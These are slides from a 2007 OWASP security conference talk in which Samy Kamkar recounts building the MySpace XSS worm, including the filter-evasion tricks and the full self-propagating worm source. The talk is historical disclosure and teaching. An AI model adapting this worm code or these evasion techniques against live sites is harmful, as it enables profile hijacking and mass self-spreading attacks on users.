The MySpace Worm ppt

advertisement
The MySpace Worm
OWASP &
WASC
AppSec 2007
Conference
San Jose – Nov 2007
http://www.webappsec.org/
Samy Kamkar
Co-founder, Fonality
samy@fonality.com
Copyright © 2007 - The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the
terms of the Creative Commons Attribution-ShareAlike 2.5 License. To view this
license, visit http://creativecommons.org/licenses/by-sa/2.5/
The OWASP Foundation
http://www.owasp.org/
Who is samy?
Known only by the pseudonym “samy”
(and also by full name, “Samy Kamkar”)
Co-founder of Fonality, IP PBX Phone Systems
Developer (and lover) of topics including:
Automated Security Vulnerability Research
Low-level Packet Fu
Artificial Intelligence
The “Web”, as the kids are calling it these days
Chick Magnet
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
MySpace, a place for (potential girl)friends
Social Networking. Online. Classy.
A mildly addictive, web-based stimulant
Ability to add friends, bio, favorite music, heroes, etc.
Pics. Lots of pics.
Not enough hugs or friends as a child (why isn’t there
a One Hug Per Child project?)
Realistically, a great place and efficient method to
keep up with friends, family, and girlfriends
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
3
Nice profile. Wanna friend?
 Goals of every MySpace User
 Persuade peers from high school whom you sat next to, but
never spoke with, to accept your friend request
 Have many friends
 Have many comments
 Have many pictures
 If you’re a girl, pose only in “The MySpace Angles”
 If you’re a guy, pose shirtless
 All other pictures are subject to removal
 Have a flashy profile (no pun intended), including customized
CSS, Flash, and <blink>! It’s totally coming back
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Chicks Dig Cool Profiles
Goals of samy’s profile
See what all the MySpace fuss was about
Impress my friends
Impress my girlfriend
Impress her hot friends
Learn AJAX
 This took place in 2005 when Google Maps was just released
No malicious intentions, of course.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Don’t Try This At Home
The following methods no longer apply to
MySpace.
They did apply in 2005 when “The MySpace
Worm” was released. All issues were promptly
resolved by MySpace.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Initial Investigation, samy, web 2.0 P.I.
 Character and Tag Limitations
 In this case, I wanted to add HTML and lengthen my profile title
 Some limitations were simply imposed by HTML tags:
 <input type=“text” maxlength=“120” name=“title”>
– Remove the maxlength, submit, voila
 Some limitations were done on the backend – smart!
 Some changes were limited at an interim step (confirmation
page) when making changes after stripping nasty stuff:
 Step 1: Change title to “I rule. <img src=britney.jpg>”
 Step 2: Page comes back with hidden values:
– <input type=“hidden” name=“title” value=“I rule.”>
– <input type=“hidden” name=“hash”
value=“BADC0DEDDEADBEEF”>
 Step 3: Profit. I mean, submit – after changing hidden values
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Just a JavaScriptKiddie
First attempt to inject JavaScript:
Body of page only allows: <img>, <embed>, <div>
All other tags blocked (<script>, <body>, etc)
onAnything’s blocked (<a onClick=…>)
Hrefs with anything other than an http URL blocked
‘expression’ property in CSS
Browser Wars
Thanks IE, Safari, I love you guys so much. (FF FTW)
JavaScript, invading a CSS tag near you:
 <div style="background:url('javascript:alert(1)')">
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
I Hope They Serve Beer In Quote Hell
Single and double quotes used up just to get to
a point to add JavaScript…
Writing any useful JS would require additional quotes
MySpace removes attempts to escape quotes (e.g. \”)
 <div style="background:url('javascript:alert(\”hi\”)')"> will
not work
Think outside of the tag – move our actual javascript
elsewhere, then evaluate it:
 <div id=“mycode" expr="alert('ha ha!')"
style="background:url(‘javascript:
eval(document.all.mycode.expr)
')">
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Watch Your Language!
Aw man, these guys are good. “javascript” is
removed from ANYWHERE.
Even smarter, they replace “javascript” with “..”
An attack like “jjavascriptajavascriptvjavascripta…”
will not work due to the replacement of the text
(ends up “j..a..v..a..etc”)
I can’t even say “I love JavaScript!” in my profile 
Luckily, I do in fact love semi-ellipses. “I love ..!”
They really add..suspense..to language.
Then I had this fuzzy feeling..
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Oops, IE Did It Again!
Fudging (well, fuzzing) a new solution
It was only a few minutes, but I felt close, as I
typically do after a few minutes…
I had to somehow get the ‘javascript’ word in there
A little fuzzer later, placing every possible character
between the words ‘java’ and ‘script’ to see if any
browser would accept it…IE & Safari, loose again:
 <div id="mycode" expr="alert('hah!')"
style="background:url('java<newline>
script:eval(document.all.mycode.expr)')">
Great success!
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Quote Me, Baby, One More Time
JavaScript is now a reality! Veni, vidi, vici.
Still some hurdles!
Although we have single quotes available to us, we
sometimes need double quotes.
 Decimal to ASCII solves this by storing the double quote in a
variable:
– expr=“var A=String.fromCharCode(34);
alert(A + ’air quotes’ + A);”
Equivalent to alert(‘”air quotes”’)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Use The Source, Luke
 Change “In a relationship” to “In a hot relationship”
 Submitting relationship status was a dropdown with numeric IDs
as the values, not text
 Submitting text as the value would fail
 Overlaying DIVs is possible but can be painful
 JS at our disposal, thus, let’s simply replace source in the page:
 document.body.innerHTML = document.body.innerHTML.replace(
’In a relationship’, ‘In a <b>hot</b> relationship’);
 MySpace stops this! They replace “innerHTML” with “..”
 To avoid the replacement, we simply chunk our data:
 eval(‘document.body.inn’ + ‘erHTML = document…’);
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Tracking Profile Views / Stalkers
Next goal: Tracking visitors
Trivial using several methods
 Using an <img> pointing to a remote CGI
Instead, without even using JS or a remote CGI,
accomplish with a simple GET request
 Using the “Add To Favorites” link allows you to add a user to
your “Favorites” list
 Only a GET is required to accomplish this
 To add a friend, you need their Friend ID
 To avoid JS, we accomplish this with the reverse -- have all
visitors to my profile add ME as their favorite, then I can go
in and view all people who have added ME as a favorite
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
I’m Good Enough, I’m Smart Enough…
And Doggone It, People Like Me.
 AJAX 101 -- Introduction to Browser Control
 Goal: Add myself as a friend to any visitor:
 Perform a GET to a confirmation page with a profile ID
 Perform a POST to confirm the add, submitting a hidden,
random hash value
 AJAX allows us to do this seamlessly in the background
 AJAX performs the GET request via XMLHttpRequest object
 Scrape the source for the randomized hash
 AJAX performs the submit via the same object, setting the
randomized hash as a POST parameter, using existing cookies
 It doesn’t work! Profiles are on “profile.myspace.com”,
but editing profiles is on “www.myspace.com”!
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
AJAX Cross-Domain Security
 Browsers prevent the XMLHttpRequest object from
POSTing to URLs not in the same FQDN (Fully Qualified
Domain Name)
 Can’t post from “profile.myspace.com” to “www.myspace.com”
 Misdirection. What the eyes see…
 MySpace is lenient, allowing you to view profiles on both
profile.myspace.com and www.myspace.com
 Simply perform a redirect if we’re on profile.myspace.com!
 if (location.hostname == 'profile.myspace.com')
document.location = 'http://www.myspace.com' +
location.pathname + location.search;
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
AJAX Cross-Domain Security Redux
 An alternative: XSS (Cross-Site Scripting)
 By locating an XSS on www.myspace.com, we can:
 Still directly be on profile.myspace.com
 Remove the need to perform an obvious redirect
 Perform an AJAX POST to www.myspace.com
 Still harness the client’s cookies on www.myspace.com
 A simple Flash app makes this easy
 Remember, <embed>s are allowed but allowScript=“no”
 Harnessing a statically named hidden iframe which already
existed on all profiles to direct our XSS page to
 Using ActionScript’s getURL() function to make the call
 getURL(‘http://www.myspace.com/xss..<script>…’, ‘iframe’)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Geek Who Became A Friend.
The Friend Who Became A Hero.
Not only could I add myself as a friend, but I
could modify any victim, er, visitor’s profile
1) Choose your target
 I selected the “heroes” section of the profile, a seldom used
section where you can list your heroes
2) Approach indirectly
 A standard POST to the heroes section would have removed
their existing list. A hero would do no such thing.
 To prevent this, we need to:
– GET the visitor’s profile
– Extract the existing heroes
– Append “but most of all, samy is my hero.”
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Friend Is A Four Letter Word
GETting the user’s profile
In order to retrieve the user’s profile, we need to
know their profile ID
This was only available in one place on my profile
which they were visiting, ironically in an unused
portion of code -- it was not available in the cookie
We can extract this simply from the innerHTML:
 document.body.innerHTML.indexOf('friendID');
Oddly, this fails! We’re left with the index (location)
of the javascript code where the word “friendID”
begins, as the javascript also exists in the innerHTML
Avoid this by performing:
 document.body.innerHTML.indexOf(‘frie’ + ‘ndID’);
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
API, SDK, other cool buzzwords
There are patterns everywhere in nature.
To accomplish adding friends, revealing myself as a
(self-proclaimed) hero, and more, I almost always
need to perform the same tasks
Building an API makes all of these functions very
simple
 addFriend(profileID)
 addFavorite(‘hero’, ‘Dr. House’)
 addComment(‘profileID’, ‘Man, samy, you rock!’)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The MySpace Worm
Putting it all together
Perform the redirect if necessary
Add our visitor as a friend
Get the visitor’s heroes, append myself
What if we capture the source code doing all
this…and add that to the visitor’s profile, too?
5 people view my profile, samy has 5 new
friends
5 people each view those profiles, samy has 25
more friends!
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
T Minus 1
First attempt at running it -- doesn’t work!
Too much data to post! Time to minimize our JS
Try again…
Now, while I get added as a friend and hero, the
code doesn’t work on the user’s profile
Ah hah! URI Escaping is necessary when
reposting the code
JavaScript’s escape() does not escape
everything we need, so we create a manual
escape function
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
In the end, there was code
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{
var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}functi
on getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var
F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS
}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.loca
tion='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return fin
dIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N
+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'
='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ==
'POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.se
nd(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.in
dexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(B
G=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.sub
string(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else
if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){
Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC
.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, s
amy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,
'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken')
;var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fusea
ction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}v
ar AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['int
erest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,
'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&My
token='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&f
riendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.respons
eText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']
='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',pa
ramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.op
en(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHea
der('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Launching The “Popularity Program”
Sunday night, around midnight
Released the worm into my profile
Without testing, I assumed it wouldn’t work.
It worked.
Friend’s girlfriend (victim) viewed my profile.
She was totally checking me out.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Morning After (no pill to stop this)
Monday Morning, 8am
You have 221 friend requests.
Whoa.
If 200 people “infected” in 8 hours…
That’s 600 friends a day!
Whoa.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
2^<insert hard math stuff here>
1 hour later, 9am
You have 480 friend requests.
Oh wait. It’s exponential, isn’t it. Shit.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Friends Till The end
 1 hour later, 10am
 You have 1,061 friend requests.
 People messaging me left and right
 “How did you hack my profile?”
 “You’re hot!” (From girls. And one guy.)
 “I delete you but you come right back!”
 Visitor attempts to delete me as a friend
 Visitor goes back to their main profile page where the code lives
 Visitor re-infects him or herself
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Taking It All Back
1:30pm, I’m up to 10,000 “friends”
(they’re not really my friends, I haven’t even
met most of these people.)
I’m scared.
I delete my profile.
“Are you sure?”
YES! *click*
“Deletion takes up to 24 hours.” Crap.
Deleting the profile can’t actually stop the worm.
MySpace recently purchased by FOX ($580 mil)
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Not So Refreshing
Spreading like an STD.
For an “Internet Condom”, see next talk.
...
6pm, I refresh the page.
“917,664 friend requests”
3 seconds later, refresh.
“918,268 friend requests”
3 seconds later, refresh.
“919,664 friend requests”
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
All Your MySpace Are Belong To Me
A minute later, I refresh.
…
…
You have 1,005,831 friend requests.
…
…
It’s official. I’m popular.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
My Bad.
An hour later, I refresh once more.
“This profile is unavailable.”
Finally, they took care of my profile! Good!
I visit my girlfriend’s profile.
“This profile is unavailable.”
I visit myspace.com.
“We are temporarily down for maintenance.”
Uh oh.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Last Supper
I decide to enjoy whatever freedom I have left.
I drive to Chipotle and have a burrito.
An hour later, someone tells me everything is
back up -- I’m relieved to hear this.
...
My girlfriend calls me and tells me, “you’re my
hero.”
In my panicked state, I don’t get the joke until
the next day.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Love & Hate
The press was interested.
Interviews were taken.
T-shirts were created.
Friends were made and lost.
Copycats emerged. “Samy.Reloaded” and others
Worm code reused on other sites.
No word from MySpace.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Until…
The Secret Service raided my home.
And office.
They even took my iPod.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Q&A
A gentleman never asks, a lady never tells.
The MySpace Worm: http://namb.la/popular
Technical explanation:
http://namb.la/popular/tech.html
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
The Anti-Anti-Samy Project
Coming soon.
OWASP & WASC AppSec 2007 Conference – San Jose – Nov 2007
Download